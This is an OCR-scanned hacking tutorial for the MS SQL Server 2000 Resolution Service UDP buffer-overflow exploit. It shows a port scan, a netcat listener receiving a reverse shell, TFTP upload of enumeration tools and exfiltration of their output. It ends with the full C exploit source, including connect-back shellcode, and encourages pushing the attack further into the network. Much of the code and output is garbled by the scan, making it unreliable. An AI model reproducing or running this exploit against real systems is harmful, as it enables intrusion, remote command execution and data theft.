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Attacking SQL 2000 with M SSQL 2000
Remote UDP Exploit

Note:
Before attempting this tutorial, make sure you are familiar with NetCat and TFTPD.

e Attacking computer — 192.168.1.9

e Attacked Computer — 192.168.1.56 (Running SQL 2000, no SP3).
Description
As reported in the past, a vulnerability in Buffer Overruns in SQL Server 2000 Resolution
Service Could Enable Code Execution. The vulnerability in the MS SQL server allows
remote attackers to cause it to execute arbitrary code. An SQL worm that recently spread

exploits this vulnerability.

| have compiled the source code for this exploit, and both the tool (sglex.exe) and the

source code can be found on my site.

Usage:
sglex.exe Target [<KNCHost> <NCPort> <SQL SP>]

Example:
Target isMSSQL SP0:

C:\>nc -l -p53

C:\>sglex.exe db.target.com 202.202.202.202 53 0
Target isMSSQL SP 1 or 2:

c:\>sglex.exe db.target.com 202.202.202.202

After we have identified a vulnerable SQL server, we fire up sglex.exe. If you are attacking
MS SQL Service Pack 0, make sure to set up a listener on your machine first (See

example).



1. Wefirst identify our target with our favorite Port Scanner.

C:shack>s]l —t 14301448 192 _168.1.56
ScanLine (THM> 1.81

Copyright <c>» Foundstone,. Inc. 20082
http:/Awuww_foundstone_con

Scan of 1 IP started at Fri Mar 14 14:38:28 2003

B hopz away

Hezponds with ICHP wunreachahle: Ho
TCF ports: 1433

Scan finished at Fri Mar 14 14:38:32 2803
1 IP and 11 ports scanned in @ hours B mins

C:vhack>

We can see that port 1434 is open (MSSQL Default).

2. Wefireup ncasalistener (only if attacking SPO, asin this example).

3. Open anew prompt and fire up sglex.exe. Y ou should get the following outpult:

C:xhack*nec -1 —-p 53
Microsoft Windows 2HAA [Uersion 5.88.21951]
(C>» Copyright 19852008 Microsoft Corp.

C=“WINNT“\system32>

MWINNT" System 32 cmd.exe

C:vhack>sglex 192 .168.1.56 192_168.1.9 53 6
M35QL SP B. GetProcAddress PHx42aelBifd
Packet sent!?

If you don’t have a shell it didn’t work.

C=~hack>_




4. You have now received a remote shell from the attacked machine. Y ou can see this

from the ipconfig.

IZ:"-.,'WINNT"-.,5ysten132"-.,cn1d.e:-:e -nc-l-p 53

C-“hack>nc -1 —p 53
Microsoft Windows 2BHHA [Uersion 5.068.21951]
(G Copyright 1985-28000 Microsoft Corp.

C=SWINNT~systen32 >ipconfig
ipconfig

Windows 200@ IP Configuration
Ethernet adapter Local Area Connection 2:
Media S8tate . . . . . . . . . . . & Cable Disconnected
Ethernet adapter Local Area Connection:
Connection—specific DHNS Suffix
IP Address. . . &« &« = & « = = 192.168.1.56
Subnet Mask . . . . . . . . . . 255.255.255.8
Default Gateway . e e e m m 192.168.1.138

C:sWINNT~system32 >

5. That was short and easy, lets go on and use this tutoria as an opportunity to
examine one more wonderful tool.

6. We can now upload tools to the attacked computer. For this tutorial we will use
DumpWin (and corresponding dil) to enumerate the SQL Server. Use a TFTP
server on your machine to upload the tools required.

INNT' System 32 cmd.exe - nc -l -p 53

C:sWINNT“system3d2»ipconfig
ipconfig

Windows 2888 IP Configuration
Ethernet adapter Local Area Connection 2:

Media State . . . . . . . . . . . Cahle Disconnected
Ethernet adapter Local Area Connection:

Connection—specific DMS Suffix

IP Address. . . . . . . . . . 192 .168.1.56

Subnet Mask . . . . . . . . . . . : 255_ 955 9LL @

192.168.1.138

CoSWINNT~systen3d2>tftp —i 192_168.1.79 GEI dumpwin.exe
tftp —i 192_168.1.9 GET dumpwin.exe
Tranzfer successful: 44544 hytes in second,. 44544 hytesss

Default Gateway . . . . . .

GC:sWINNT~system32>tftp —i 192.168.1.9 GET psapi.dll
tftp —1i 192.168.1.9 GET psapi.dll
Tranzfer successful: 18192 hytes in second,. 18192 hytesss

C:sWINNT“system32>

7. Now we can execute DumpWin. It has a long output, so we should output the
command to afile (win.txt). For example:

dumpwin —a > win.txt



8. Toretrievethe file we can use TFTP again:
tftp —i 192.168.1.9 PUT win.txt
9. We can now review win.txt and learn which users, services, shares, processes, files
(and so on) are on our target machine.
10. From here onwards the attack can continue into the network, after we have scanned
and identified the compromised network.
11. Nasty eh?

Sour ce Code for the Exploit:

/*
M5SQ.2000 Renote UDP Expl oit!

Modi fi ed from "Advanced W ndows Shel | code" by David Litchfield,
davi d@hgssof t ware. com

fix a bug.
Modi fied by Iion, |ion@nhonker. net

*/

#i ncl ude <stdio. h>
#i ncl ude <wi nsock2. h>

#pragma conmment (lib,"W2_32")

int Gai nControl O SQL(voi d);
int StartWnsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;

unsi gned | ong addr;

i nt SQLUDPPort =1434;

char host[256]="";

char request[4000] ="\x04";
char ping[ 8] ="\ x02";

char exploit_code[]=

"\ x55\ x8B\ XEC\ x68\ x18\ x10\ XAE\ x42\ x68\ x1C"
"\ x10\ XAE\ x42\ xEB\ x03\ x5B\ xEB\ x05\ xE8\ xF8"
"\ xFF\ xFF\ xFF\ xBE\ xFF\ xFF\ xFF\ xFF\ x81\ xF6"
"\ XxAE\ XxFE\ xFF\ xFF\ x03\ x DE\ x90\ x90\ x90\ x90"
"\ x90\ x33\ xCO\ xB1\ x44\ xB2\ x58\ x30\ x13\ x83"
"\ xEB\ x01\ xE2\ xF9\ x43\ x53\ x8B\ x75\ xFC\ xFF"
"\ x16\ x50\ x33\ xCO\ xBO\ xOC\ x03\ xD8\ x53\ xFF"
"\ x16\ x50\ x33\ xCO\ xBO\ x10\ x03\ xD8\ x53\ x8B"
"\ x45\ xF4\ x50\ x8B\ x75\ xF8\ xFF\ x16\ x50\ x33"
"\ xCO\ xBO\ xOC\ x03\ xD8\ x53\ x8B\ x45\ xF4\ x50"
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printf("
\n");

"\ XFF\ x16\ x50\ x33\ xCO\ xB0O\ x08\ x03\ xD8\ x53"
"\ x8B\ x45\ xFO\ x50\ xFF\ x16\ x50\ x33\ xC0\ xB0"
"\ x10\ x03\ xD8\ x53\ x33\ xCO\ x33\ xC9\ x66\ xB9"
"\ x04\ x01\ x50\ xE2\ xFD\ x89\ x45\ xDC\ x89\ x45"
"\ xD8\ xBF\ x7F\ x01\ x01\ x01\ x89\ x7D\ xD4\ x40"
"\ x40\ x89\ x45\ xDO\ x66\ xB8\ xFF\ xFF\ x66\ x35"
"\ XFF\ xCA\ x66\ x89\ x45\ xD2\ x6A\ x01\ x6A\ x02"
"\ x8B\ x75\ xEC\ xFF\ xD6\ x89\ x45\ xEC\ x6A\ x10"
"\ x8D\ x75\ xDO\ x56\ x8B\ x5D\ xEC\ x53\ x8B\ x45"
"\ xE8\ xFF\ xDO\ x83\ xCO\ x44\ x89\ x85\ x58\ xFF"
"\ xFF\ xFF\ x83\ xCO\ x5E\ x83\ xCO\ x5E\ x89\ x45"
"\ x84\ x89\ x5D\ x90\ x89\ x5D\ x94\ x89\ x5D\ x98"
"\ x8D\ xBD\ x48\ xFF\ xFF\ xFF\ x57\ x8D\ xBD\ x58"
"\ xFF\ xFF\ xFF\ x57\ x33\ xCO\ x50\ x50\ x50\ x83"
"\ xCO\ x01\ x50\ x83\ xE8\ x01\ x50\ x50\ x8B\ x5D"
"\ XxEO\ x53\ x50\ x8B\ x45\ xE4\ xFF\ xDO\ x33\ xC0"
"\ x50\ xC6\ x04\ x24\ x61\ xC6\ x44\ x24\ x01\ x64"
"\ x68\ x54\ x68\ x72\ x65\ x68\ x45\ x78\ x69\ x74"
"\ x54\ x8B\ x45\ xFO\ x50\ x8B\ x45\ xF8\ xFF\ x10"
"\ XFF\ xDO\ x90\ x2F\ x2B\ x6A\ x07\ x6B\ X6A\ x76"
"\ Xx3C\ x34\ x34\ x58\ x58\ x33\ x3D\ x2A\ x36\ x3D"
"\ x34\ x6B\ x6A\ x76\ x3C\ x34\ x34\ x58\ x58\ x58"
"\ x58\ xOF\ x0B\ x19\ x0B\ x37\ x3B\ x33\ x3D\ x2C"
"\ x19\ x58\ x58\ x3B\ x37\ x36\ x36\ x3D\ x3B\ x2C"
"\ x58\ x1B\ x2A\ x3D\ x39\ x2C\ x3D\ x08\ x2A\ x37"
"\ x3B\ x3D\ x2B\ x2B\ x19\ x58\ x58\ x3B\ x35\ x3C"
"\ x58";

int main(int argc, char *argv[])
{

unsigned int ErrorLevel =0, 1en=0, c =0;
int count = 0O;

char sc[300]="";

char i paddress[40]="";

unsi gned short port = O;
unsigned int ip = 0;

char *ipt="";

char buffer[400]="";

unsi gned short prt=0;

char *prtt="";

if(argc '= 2 && argc = 5)

printf("SQ Server UDP Buffer Overflow Rembte Exploit\r\n\n");
printf("Mdified from\"Advanced W ndows Shell code\"\r\n");
printf("Code by David Litchfield, david@gssoftware.comr\n");
printf("Mdified by lion, fix a bug.\r\n");

printf("Welcome to HUC Website http://ww. cnhonker.comr\n\n");
printf("Usage:\r\n");

printf(" 9% Target [<NCHost> <NCPort> <SQ.SP>]\r\n\n", argv[0]);
printf("Exenple:\r\n");

printf("Target is MSSQ SP 0:\r\n");

printf(" CA\\>nc -I -p 53\r\n");

printf(" C\\>% db.target.com 202.202.202.202 53 0\r\n",argv[0]);
printf("Target is MSSQ SP 1 or 2:\r\n");

printf(" c:\\>% db.target.com 202.202.202. 202\r\ n\n", argv[0]);
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return O;

}

strncpy(host, argv[1l], 100);
if(argc == 5)

gtrncpy(ipaddress, argv[2], 36);
port = atoi(argv[3]);

/'l SQL Server 2000 Service pack |evel

/1l The inport entry for GetProcAddress in sqlsort.dl

/] is at 0x42ael010 but on SP 1 and 2 is at 0x42ael01C
/1l Need to set the last byte accordingly

if(argv[4][0] == 0x30)

{
printf("MSSQ SP 0. GCetProcAddress @x42ael010\r\n");
expl oi t _code[ 9] =0x10;

el se

{
printf("MsSQL SP 1 or 2. GetProcAddress @x42ael01Cr\n");
}

}

ErrorLevel = StartWnsock();
i f(ErrorLevel ==0)

printf("Starting Wnsock Error.\r\n");
return O;

}

if(argc == 2)

{
strcpy(request, pi ng);

Gai nCont rol OF SQL() ;
return O;

}

strcpy(buffer, exploit_code);

/'l set this IP address to connect back to
/1 this should be your address

ip = inet_addr(ipaddress);

ipt = (char*)&i p;

buffer[142] =i pt[0];

buffer[143] =i pt[1];

buffer[144] =ipt[2];

buf fer[ 145] =i pt[ 3];

/1l set the TCP port to connect on
/'l netcat should be listening on this port
/'l e.g. nc -1 -p 80

ht ons(port);
prt ~ OxFFFF;

prt
prt



prtt = (char *) &prt;
buffer[ 160] =prtt[0];
buffer[161] =prtt[1];

strcat (request, " AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH! | | 1 JJJJ KKKKLLLLMVIMVNNNNO
OOCPPPPQOOORRRRSSSST T T TUUUUVVVVWIINAKXXX" ) ;

/'l Overwite the saved return address on the stack
/1 This address contains a jnp esp instruction
/1 and is in sqglsort.dll.

strcat (request, "\ xDC\ xC9\ xBO\ x42"); // 0x42B0CODC

/'l Need to do a near junp
strcat (request, "\ XEB\ XOE\ x41\ x42\ x43\ x44\ x45\ x46") ;

/1 Need to set an address which is witable or

/'l sql server will crash before we can exploit

/'l the overrun. Rather than choosing an address

/1l on the stack which could be anywhere we'll

/1 use an address in the .data segnent of sqlsort.dll
/'l as we're already using sqlsort for the saved

/1 return address

/1 SQL 2000 no service packs needs the address here
strcat (request, "\ x01\ x70\ XAE\ x42") ;

/1 SQ. 2000 Service Pack 2 needs the address here
strcat (request, "\ x01\ x70\ XAE\ x42") ;

/'l just a few nops
strcat (request, "\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90") ;

/'l tack on exploit code to the end of our request and fire it off
strcat (request, buffer);

Gai nCont rol OF SQL() ;

return O;

}

int StartWnsock()

{

int err=0;

WORD wMer si onRequest ed;
WSADATA wsaDat a;

wWer si onRequest ed = MAKEWORD( 2, 1) ;
err = WBASt artup( wWer si onRequest ed, &wsaData );
if (err '=0)

printf("error WAStartup 1.\r\n");
return O;

}

if ( LOBYTE( wsaData.wWersion ) !'= 2 || H BYTE( wsaData.wersion ) !I=
1)

{

printf("error WBAStartup 2.\r\n");



WBAC eanup( );
return O;

}

if (isalpha(host[0]))

‘Ele = get host bynane( host);
if (he == NULL)

{

printf("Can't get the ip of %!\r\n", host);
WSACQ eanup( );

exit(-1);

}

S_sa. si n_addr.s_addr =] NADDR_ANY;
s_sa. sin_fam | y=AF_| NET;
nmencpy(&s_sa. si n_addr, he->h_addr, he->h_| engt h) ;

el se

{
s_sa. sin_fam | y=AF_| NET;
s_sa. sin_addr.s_addr = inet_addr(host);

}

return 1;

}

int Gai nControl O SQL(voi d)

{
char resp[600]="";

i nt snd=0, rcv=0, count =0, var =0;
unsigned int ttlbytes=0;

unsi gned int to=2000;

struct sockaddr_in cli_addr;
SOCKET cli_sock;

cli _sock=socket (AF_I NET, SOCK_DGRAM 0) ;
if (cli_sock==I NVALI D_SOCKET)
{

return printf("sock erron\r\n");
}
cli_addr.sin_fam | y=AF_| NET;

cli_addr. si n_addr.s_addr =l NADDR_ANY;
cli _addr. sin_port=htons((unsigned short)53);

set sockopt (cli _sock, SOL_SOCKET, SO RCVTI MEQ, (char
*) &t 0, si zeof (unsigned int));

i f(bind(cli_sock, (LPSOCKADDR) &cl i _addr, si zeof (cli _addr))==SOCKET_ERROR)
{

return printf("bind error");

}

s_sa. sin_port=htons((unsigned short) SQ_LUDPPort);

if (connect(cli_sock, (LPSOCKADDR) &s_sa, si zeof (s_sa) ) ==SOCKET_ERRCR)



{

return printf("Connect error");

}

el se

snd=send(cli_sock, request , strlen (request) , 0);
printf("Packet sent!\r\n");

printf("lIf you don't have a shell it didn't work.\r\n");
rcv = recv(cli_sock, resp, 596, 0);

if(rcv > 1)

whi | e(count < rcv)

{

i f(resp[count]==0x00)
resp[ count] =0x20

count ++

printf("9%",resp);
}

cl osesocket (cli_sock);

return O;

}



